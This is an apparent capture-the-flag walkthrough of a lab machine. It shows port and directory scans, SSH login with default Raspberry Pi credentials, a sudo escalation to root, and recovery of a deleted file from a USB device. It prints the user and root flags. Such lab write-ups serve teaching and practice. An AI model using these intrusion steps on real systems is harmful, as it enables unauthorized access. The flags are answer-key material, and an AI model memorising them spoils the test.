信息收集

$ nmap -p- 10.10.10.48 --min-rate 1000 -sC -sV

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
|   1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
|   2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
|   256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
|_  256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
53/tcp    open  domain  dnsmasq 2.76
| dns-nsid:
|_  bind.version: dnsmasq-2.76
80/tcp    open  http    lighttpd 1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: lighttpd/1.4.35
1276/tcp  open  upnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
32400/tcp open  http    Plex Media Server httpd
|_http-title: Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-favicon: Plex
|_http-cors: HEAD GET POST PUT DELETE OPTIONS
32469/tcp open  upnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)

HTTP

$ gobuster dir -u "http://10.10.10.48/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x html,txt,php -b 404,403 -t 50

http://10.10.10.48/versions

username:pi
password:raspberry

SSH

$ ssh pi@10.10.10.48

User.txt

ff837707441b257a20e32199d7c8838d

权限提升

pi@raspberrypi:~ $ sudo -l

pi@raspberrypi:~ $ sudo /bin/bash

root@raspberrypi:/home/pi# lsblk

root@raspberrypi:/home/pi# cat /media/usbstick/damnit.txt

root@raspberrypi:/media/usbstick# df -h

root@raspberrypi:/media/usbstick# strings /dev/sdb

Root.txt

3d3e483143ff12ec505d026fa13e020b